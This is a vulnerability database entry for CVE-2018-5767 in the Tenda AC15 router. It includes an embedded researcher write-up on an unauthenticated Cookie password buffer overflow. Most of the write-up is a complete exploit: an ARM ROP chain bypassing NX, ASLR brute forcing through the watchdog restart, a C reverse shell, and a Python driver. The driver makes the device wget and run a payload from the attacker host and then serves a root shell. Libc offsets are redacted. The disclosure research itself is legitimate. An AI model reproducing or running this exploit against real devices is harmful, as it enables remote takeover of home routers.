Vulnerabilities > CVE-2018-5767 - Improper Input Validation vulnerability in Tendacn Ac15 Firmware 15.03.1.16
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
An issue was discovered on Tenda AC15 V15.03.1.16_multi devices. A remote, unauthenticated attacker can gain remote code execution on the device with a crafted password parameter for the COOKIE header.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 1 | |
Hardware | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
Exploit-Db
description | Tenda AC15 Router - Unauthenticated Remote Code Execution. CVE-2018-5767. Remote exploit for Hardware platform |
file | exploits/hardware/remote/44253.py |
id | EDB-ID:44253 |
last seen | 2018-05-24 |
modified | 2018-02-14 |
platform | hardware |
port | |
published | 2018-02-14 |
reporter | Exploit-DB |
source | https://www.exploit-db.com/download/44253/ |
title | Tenda AC15 Router - Unauthenticated Remote Code Execution |
type | remote |
Seebug
bulletinFamily | exploit |
description | ### INTRODUCTION In this post we will be presenting a pre-authenticated remote code execution vulnerability present in Tenda’s AC15 router. We start by analysing the vulnerability, before moving on to our regular pattern of exploit development – identifying problems and then fixing those in turn to develop a working exploit. N.B – Numerous attempts were made to contact the vendor with no success. Due to the nature of the vulnerability, offset’s have been redacted from the post to prevent point and click exploitation. ### LAYING THE GROUNDWORK The vulnerability in question is caused by a buffer overflow due to unsanitised user input being passed directly to a call to sscanf. The figure below shows the vulnerable code in the R7WebsSecurityHandler function of the HTTPD binary for the device. ![](https://images.seebug.org/1520395332702) Note that the “password=” parameter is part of the Cookie header. We see that the code uses strstr to find this field, and then copies everything after the equals size (excluding a ‘;’ character – important for later) into a fixed size stack buffer. If we send a large enough password value we can crash the server, in the following picture we have attached to the process using a cross compiled Gdbserver binary, we can access the device using telnet (a story for another post). ![](https://images.seebug.org/1520395347567) This crash isn’t exactly ideal. We can see that it’s due to an invalid read attempting to load a byte from R3 which points to 0x41414141. From our analysis this was identified as occurring in a shared library and instead of looking for ways to exploit it, we turned our focus back on the vulnerable function to try and determine what was happening after the overflow. In the next figure we see the issue; if the string copied into the buffer contains “.gif”, then the function returns immediately without further processing. The code isn’t looking for “.gif” in the password, but in the user controlled buffer for the whole request. Avoiding further processing of a overflown buffer and returning immediately is exactly what we want (loc_2f7ac simply jumps to the function epilogue). ![](https://images.seebug.org/1520395364075) Appending “.gif” to the end of a long password string of “A”‘s gives us a segfault with PC=0x41414141. With the ability to reliably control the flow of execution we can now outline the problems we must address, and therefore begin to solve them – and so at the same time, develop a working exploit. To begin with, the following information is available about the binary: ``` file httpd format elf type EXEC (Executable file) arch arm bintype elf bits 32 canary false endian little intrp /lib/ld-uClibc.so.0 machine ARM nx true pic false relocs false relro no static false ``` I’ve only included the most important details – mainly, the binary is a 32bit ARMEL executable, dynamically linked with NX being the only exploit mitigation enabled (note that the system has randomize_va_space = 1, which we’ll have to deal with). Therefore, we have the following problems to address: * Gain reliable control of PC through offset of controllable buffer. * Bypass No Execute (NX, the stack is not executable). * Bypass Address space layout randomisation (randomize_va_space = 1). * Chain it all together into a full exploit. ### PROBLEM SOLVING 101 The first problem to solve is a general one when it comes to exploiting memory corruption vulnerabilities such as this – identifying the offset within the buffer at which we can control certain registers. We solve this problem using Metasploit’s pattern create and pattern offset scripts. We identify the correct offset and show reliable control of the PC register: ![](https://images.seebug.org/1520395395553) With problem 1 solved, our next task involves bypassing No Execute. No Execute (NX or DEP) simply prevents us from executing shellcode on the stack. It ensures that there are no writeable and executable pages of memory. NX has been around for a while so we won’t go into great detail about how it works or its bypasses, all we need is some ROP magic. We make use of the “Return to Zero Protection” (ret2zp) method [1]. The problem with building a ROP chain for the ARM architecture is down to the fact that function arguments are passed through the R0-R3 registers, as opposed to the stack for Intel x86. To bypass NX on an x86 processor we would simply carry out a ret2libc attack, whereby we store the address of libc’s system function at the correct offset, and then a null terminated string at offset+4 for the command we wish to run: ![](https://images.seebug.org/1520395419057) To perform a similar attack on our current target, we need to pass the address of our command through R0, and then need some way of jumping to the system function. The sort of gadget we need for this is a mov instruction whereby the stack pointer is moved into R0. This gives us the following layout: ![](https://images.seebug.org/1520395431013) We identify such a gadget in the libc shared library, however, the gadget performs the following instructions. ``` mov sp, r0 blx r3 ``` This means that before jumping to this gadget, we must have the address of system in R3. To solve this problem, we simply locate a gadget that allows us to mov or pop values from the stack into R3, and we identify such a gadget again in the libc library: ``` pop {r3,r4,r7,pc} ``` This gadget has the added benefit of jumping to SP+12, our buffer should therefore look as such: ![](https://images.seebug.org/1520395461247) Note the ‘;.gif’ string at the end of the buffer, recall that the call to sscanf stops at a ‘;’ character, whilst the ‘.gif’ string will allow us to cleanly exit the function. With the following Python code, we have essentially bypassed NX with two gadgets: ``` libc_base = **** curr_libc = libc_base + (0x7c << 12) system = struct.pack("<I", curr_libc + ****) #: pop {r3, r4, r7, pc} pop = struct.pack("<I", curr_libc + ****) #: mov r0, sp ; blx r3 mv_r0_sp = struct.pack("<I", curr_libc + ****) password = "A"*offset password += pop + system + "B"*8 + mv_r0_sp + command + ".gif" ``` With problem 2 solved, we now move onto our third problem; bypassing ASLR. Address space layout randomisation can be very difficult to bypass when we are attacking network based applications, this is generally due to the fact that we need some form of information leak. Although it is not enabled on the binary itself, the shared library addresses all load at different addresses on each execution. One method to generate an information leak would be to use “native” gadgets present in the HTTPD binary (which does not have ASLR) and ROP into the leak. The problem here however is that each gadget contains a null byte, and so we can only use 1. If we look at how random the randomisation really is, we see that actually the library addresses (specifically libc which contains our gadgets) only differ by one byte on each execution. For example, on one run libc’s base may be located at 0xXXXXXXXX, and on the next run it is at 0xXXXXXXXX . We could theoretically guess this value, and we would have a small chance of guessing correct. This is where our faithful watchdog process comes in. One process running on this device is responsible for restarting services that have crashed, so every time the HTTPD process segfaults, it is immediately restarted, pretty handy for us. This is enough for us to do some naïve brute forcing, using the following process: ![](https://images.seebug.org/1520395493910) With NX and ASLR successfully bypassed, we now need to put this all together (problem 3). This however, provides us with another set of problems to solve: * How do we detect the exploit has been successful? * How do we use this exploit to run arbitrary code on the device? We start by solving problem 2, which in turn will help us solve problem 1. There are a few steps involved with running arbitrary code on the device. Firstly, we can make use of tools on the device to download arbitrary scripts or binaries, for example, the following command string will download a file from a remote server over HTTP, change its permissions to executable and then run it: ``` command = "wget http://192.168.0.104/malware -O /tmp/malware && chmod 777 /tmp/malware && /tmp/malware &;" ``` The “malware” binary should give some indication that the device has been exploited remotely, to achieve this, we write a simple TCP connect back program. This program will create a connection back to our attacking system, and duplicate the stdin and stdout file descriptors – it’s just a simple reverse shell. ``` #include <sys/socket.h> #include <sys/types.h> #include <string.h> #include <stdio.h> #include <netinet/in.h> int main(int argc, char **argv) { struct sockaddr_in addr; socklen_t addrlen; int sock = socket(AF_INET, SOCK_STREAM, 0); memset(&addr, 0x00, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(31337); addr.sin_addr.s_addr = inet_addr(“192.168.0.104”); int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr)); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); system(“/bin/sh”); } ``` We need to cross compile this code into an ARM binary, to do this, we use a prebuilt toolchain downloaded from Uclibc. We also want to automate the entire process of this exploit, as such, we use the following code to handle compiling the malicious code (with a dynamically configurable IP address). We then use a subprocess to compile the code (with the user defined port and IP), and serve it over HTTP using Python’s SimpleHTTPServer module. ``` ”’ * Take the ARM_REV_SHELL code and modify it with * the given ip and port to connect back to. * This function then compiles the code into an * ARM binary. @Param comp_path – This should be the path of the cross-compiler. @Param my_ip – The IP address of the system running this code. ”’ def compile_shell(comp_path, my_ip): global ARM_REV_SHELL outfile = open(“a.c”, “w”) ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip) #write the code with ip and port to a.c outfile.write(ARM_REV_SHELL) outfile.close() compile_cmd = [comp_path, “a.c”,”-o”, “a”] s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE) #wait for the process to terminate so we can get its return code while s.poll() == None: continue if s.returncode == 0: return True else: print “[x] Error compiling code, check compiler? Read the README?” return False ”’ * This function uses the SimpleHTTPServer module to create * a http server that will serve our malicious binary. * This function is called as a thread, as a daemon process. ”’ def start_http_server(): Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer((“”, HTTPD_PORT), Handler) print “[+] Http server started on port %d” %HTTPD_PORT httpd.serve_forever() ``` This code will allow us to utilise the wget tool present on the device to fetch our binary and run it, this in turn will allow us to solve problem 1. We can identify if the exploit has been successful by waiting for connections back. The abstract diagram in the next figure shows how we can make use of a few threads with a global flag to solve problem 1 given the solution to problem 2. ![](https://images.seebug.org/1520395545397) The functions shown in the following code take care of these processes: ``` ”’ * This function creates a listening socket on port * REV_PORT. When a connection is accepted it updates * the global DONE flag to indicate successful exploitation. * It then jumps into a loop whereby the user can send remote * commands to the device, interacting with a spawned /bin/sh * process. ”’ def threaded_listener(): global DONE s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) host = (“0.0.0.0”, REV_PORT) try: s.bind(host) except: print “[+] Error binding to %d” %REV_PORT return -1 print “[+] Connect back listener running on port %d” %REV_PORT s.listen(1) conn, host = s.accept() #We got a connection, lets make the exploit thread aware DONE = True print “[+] Got connect back from %s” %host[0] print “[+] Entering command loop, enter exit to quit” #Loop continuosly, simple reverse shell interface. while True: print “#”, cmd = raw_input() if cmd == “exit”: break if cmd == ”: continue conn.send(cmd + “\n”) print conn.recv(4096) ”’ * This function presents the actual vulnerability exploited. * The Cookie header has a password field that is vulnerable to * a sscanf buffer overflow, we make use of 2 ROP gadgets to * bypass DEP/NX, and can brute force ASLR due to a watchdog * process restarting any processes that crash. * This function will continually make malicious requests to the * devices web interface until the DONE flag is set to True. @Param host – the ip address of the target. @Param port – the port the webserver is running on. @Param my_ip – The ip address of the attacking system. ”’ def exploit(host, port, my_ip): global DONE url = “http://%s:%s/goform/exeCommand”%(host, port) i = 0 command = “wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;” %(my_ip, HTTPD_PORT) #Guess the same libc base address each time libc_base = **** curr_libc = libc_base + (0x7c << 12) system = struct.pack(“<I”, curr_libc + ****) #: pop {r3, r4, r7, pc} pop = struct.pack(“<I”, curr_libc + ****) #: mov r0, sp ; blx r3 mv_r0_sp = struct.pack(“<I”, curr_libc + ****) password = “A”*offset password += pop + system + “B”*8 + mv_r0_sp + command + “.gif” print “[+] Beginning brute force.” while not DONE: i += 1 print “[+] Attempt %d”%i #build the request, with the malicious password field req = urllib2.Request(url) req.add_header(“Cookie”, “password=%s”%password) #The request will throw an exception when we crash the server, #we don’t care about this, so don’t handle it. try: resp = urllib2.urlopen(req) except: pass #Give the device some time to restart the process. time.sleep(1) print “[+] Exploit done” ``` Finally, we put all of this together by spawning the individual threads, as well as getting command line options as usual: ``` def main(): parser = OptionParser() parser.add_option(“-t”, “–target”, dest=”host_ip”, help=”IP address of the target”) parser.add_option(“-p”, “–port”, dest=”host_port”, help=”Port of the targets webserver”) parser.add_option(“-c”, “–comp-path”, dest=”compiler_path”, help=”path to arm cross compiler”) parser.add_option(“-m”, “–my-ip”, dest=”my_ip”, help=”your ip address”) options, args = parser.parse_args() host_ip = options.host_ip host_port = options.host_port comp_path = options.compiler_path my_ip = options.my_ip if host_ip == None or host_port == None: parser.error(“[x] A target ip address (-t) and port (-p) are required”) if comp_path == None: parser.error(“[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/ binaries/0.9.30/cross-compiler-arm4l.tar.bz2″) if my_ip == None: parser.error(“[x] Please pass your ip address (-m)”) if not compile_shell(comp_path, my_ip): print “[x] Exiting due to error in compiling shell” return -1 httpd_thread = threading.Thread(target=start_http_server) httpd_thread.daemon = True httpd_thread.start() conn_listener = threading.Thread(target=threaded_listener) conn_listener.start() #Give the thread a little time to start up, and fail if that happens time.sleep(3) if not conn_listener.is_alive(): print “[x] Exiting due to conn_listener error” return -1 exploit(host_ip, host_port, my_ip) conn_listener.join() return 0 if __name__ == ‘__main__’: main() ``` With all of this together, we run the code and after a few minutes get our reverse shell as root: ![](https://images.seebug.org/1520395591944) The full code is here: ``` #!/usr/bin/env python import urllib2 import struct import time import socket from optparse import * import SimpleHTTPServer import SocketServer import threading import sys import os import subprocess ARM_REV_SHELL = ( “#include <sys/socket.h>\n” “#include <sys/types.h>\n” “#include <string.h>\n” “#include <stdio.h>\n” “#include <netinet/in.h>\n” “int main(int argc, char **argv)\n” “{\n” ” struct sockaddr_in addr;\n” ” socklen_t addrlen;\n” ” int sock = socket(AF_INET, SOCK_STREAM, 0);\n” ” memset(&addr, 0x00, sizeof(addr));\n” ” addr.sin_family = AF_INET;\n” ” addr.sin_port = htons(%d);\n” ” addr.sin_addr.s_addr = inet_addr(\”%s\”);\n” ” int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\n” ” dup2(sock, 0);\n” ” dup2(sock, 1);\n” ” dup2(sock, 2);\n” ” system(\”/bin/sh\”);\n” “}\n” ) REV_PORT = 31337 HTTPD_PORT = 8888 DONE = False ”’ * This function creates a listening socket on port * REV_PORT. When a connection is accepted it updates * the global DONE flag to indicate successful exploitation. * It then jumps into a loop whereby the user can send remote * commands to the device, interacting with a spawned /bin/sh * process. ”’ def threaded_listener(): global DONE s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) host = (“0.0.0.0”, REV_PORT) try: s.bind(host) except: print “[+] Error binding to %d” %REV_PORT return -1 print “[+] Connect back listener running on port %d” %REV_PORT s.listen(1) conn, host = s.accept() #We got a connection, lets make the exploit thread aware DONE = True print “[+] Got connect back from %s” %host[0] print “[+] Entering command loop, enter exit to quit” #Loop continuosly, simple reverse shell interface. while True: print “#”, cmd = raw_input() if cmd == “exit”: break if cmd == ”: continue conn.send(cmd + “\n”) print conn.recv(4096) ”’ * Take the ARM_REV_SHELL code and modify it with * the given ip and port to connect back to. * This function then compiles the code into an * ARM binary. @Param comp_path – This should be the path of the cross-compiler. @Param my_ip – The IP address of the system running this code. ”’ def compile_shell(comp_path, my_ip): global ARM_REV_SHELL outfile = open(“a.c”, “w”) ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip) outfile.write(ARM_REV_SHELL) outfile.close() compile_cmd = [comp_path, “a.c”,”-o”, “a”] s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE) while s.poll() == None: continue if s.returncode == 0: return True else: print “[x] Error compiling code, check compiler? Read the README?” return False ”’ * This function uses the SimpleHTTPServer module to create * a http server that will serve our malicious binary. * This function is called as a thread, as a daemon process. ”’ def start_http_server(): Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer((“”, HTTPD_PORT), Handler) print “[+] Http server started on port %d” %HTTPD_PORT httpd.serve_forever() ”’ * This function presents the actual vulnerability exploited. * The Cookie header has a password field that is vulnerable to * a sscanf buffer overflow, we make use of 2 ROP gadgets to * bypass DEP/NX, and can brute force ASLR due to a watchdog * process restarting any processes that crash. * This function will continually make malicious requests to the * devices web interface until the DONE flag is set to True. @Param host – the ip address of the target. @Param port – the port the webserver is running on. @Param my_ip – The ip address of the attacking system. ”’ def exploit(host, port, my_ip): global DONE url = “http://%s:%s/goform/exeCommand”%(host, port) i = 0 command = “wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;” %(my_ip, HTTPD_PORT) #Guess the same libc base continuosly libc_base = **** curr_libc = libc_base + (0x7c << 12) system = struct.pack(“<I”, curr_libc + ****) #: pop {r3, r4, r7, pc} pop = struct.pack(“<I”, curr_libc + ****) #: mov r0, sp ; blx r3 mv_r0_sp = struct.pack(“<I”, curr_libc + ****) password = “A”*offset password += pop + system + “B”*8 + mv_r0_sp + command + “.gif” print “[+] Beginning brute force.” while not DONE: i += 1 print “[+] Attempt %d” %i #build the request, with the malicious password field req = urllib2.Request(url) req.add_header(“Cookie”, “password=%s”%password) #The request will throw an exception when we crash the server, #we don’t care about this, so don’t handle it. try: resp = urllib2.urlopen(req) except: pass #Give the device some time to restart the time.sleep(1) print “[+] Exploit done” def main(): parser = OptionParser() parser.add_option(“-t”, “–target”, dest=”host_ip”, help=”IP address of the target”) parser.add_option(“-p”, “–port”, dest=”host_port”, help=”Port of the targets webserver”) parser.add_option(“-c”, “–comp-path”, dest=”compiler_path”, help=”path to arm cross compiler”) parser.add_option(“-m”, “–my-ip”, dest=”my_ip”, help=”your ip address”) options, args = parser.parse_args() host_ip = options.host_ip host_port = options.host_port comp_path = options.compiler_path my_ip = options.my_ip if host_ip == None or host_port == None: parser.error(“[x] A target ip address (-t) and port (-p) are required”) if comp_path == None: parser.error(“[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2”) if my_ip == None: parser.error(“[x] Please pass your ip address (-m)”) if not compile_shell(comp_path, my_ip): print “[x] Exiting due to error in compiling shell” return -1 httpd_thread = threading.Thread(target=start_http_server) httpd_thread.daemon = True httpd_thread.start() conn_listener = threading.Thread(target=threaded_listener) conn_listener.start() #Give the thread a little time to start up, and fail if that happens time.sleep(3) if not conn_listener.is_alive(): print “[x] Exiting due to conn_listener error” return -1 exploit(host_ip, host_port, my_ip) conn_listener.join() return 0 if __name__ == ‘__main__’: main() ``` ### Credit Tim Carrington – [@__invictus_](https://twitter.com/@__invictus_) – as part of Fidus’ Penetration Testing & Research team. ### References Aminmansour, Farzane & Shahriari, Hamid Reza. (2015). Patulous Code Reuse Attack: A novel code reuse attack on ARM architecture (A proof of concept on Android OS). ### Timeline * Vulnerability discovered and first reported – 14/1/2018 * Second attempt to make contact, further informing the vendor of the severity of the vulnerability – 18/1/2018 * CVE’s assigned by Mitre.org – 19/1/2018 * Livechat attempt to contact vendor – 19/1/2018 * Another attempt to contact vendor 23/1/2018 * Further attempt to contact vendor, confirming 5 CVE’s had been assigned to their product – 31/1/2018 * Final contact attempted & warning of public disclosure – 8/2/2018 * Public disclosure – 14/2/2018 |
id | SSV:97161 |
last seen | 2018-06-26 |
modified | 2018-03-07 |
published | 2018-03-07 |
reporter | My Seebug |
source | https://www.seebug.org/vuldb/ssvid-97161 |
title | Tenda AC15 Router - Unauthenticated Remote Code Execution(CVE-2018-5767) |